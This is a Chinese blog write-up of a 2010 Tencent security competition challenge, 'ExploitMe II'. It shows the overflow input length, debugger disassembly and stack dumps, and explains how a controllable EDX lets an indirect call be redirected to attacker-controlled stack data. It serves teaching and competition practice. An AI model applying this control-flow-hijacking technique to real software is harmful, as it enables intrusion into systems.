摘要:ExploitMe II
深圳腾讯2010安全技术竞赛1-1ExploitMe分析
前面测试的方法先不说了,参考之前即可。这里的触发条件是dwSize的大小需要0x84,直接手工填一下:
ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJAB
覆盖的是最后的IJAB,不信可以删除一下B,重新测试一下。
此时面临一个的问题,和之前分析的ExploitMe不太一样,看关键代码这里:
0040115A |. FF10 CALL DWORD PTR DS:[EAX] ; ExploitM.004011B0
0040115C |. 8B9424 A400000>MOV EDX,DWORD PTR SS:[ESP+A4]
00401163 |. 8D8C24 A400000>LEA ECX,DWORD PTR SS:[ESP+A4]
0040116A |. FF12 CALL DWORD PTR DS:[EDX] **//这里EDX的值我们是可以控制的**
此时EDX是一个可控值,我们需要更改EDX至一个我们可以控制的栈上:
0012FC78 44434241 ABCD
……
0012FCF4 48474645 EFGH
0012FCF8 **0012FC78** x?. ASCII 41,"BCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEF"
比如这样我就可以控制了call指向的地址
0012FC78 0012FC7C <----call 0012FC7C
0012FC7C 48474645 <----call到这里
……
0012FCF8 0012FC78 x?. ASCII 41,"BCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEF"
然后就可以实现这个漏洞的利用了。不过此方法非完美利用,你可以尝试实现完美的利用方法。
------------------------------
文章的授權使用CC BY-ND2.5協議。凡是標示“轉載”的文章,均來源於網絡並儘可能標註作者。如果有侵犯您的權益,請及時聯繫刪除或者署名、授權。
Gtalk/Email: cmd4shell [at] gmail.com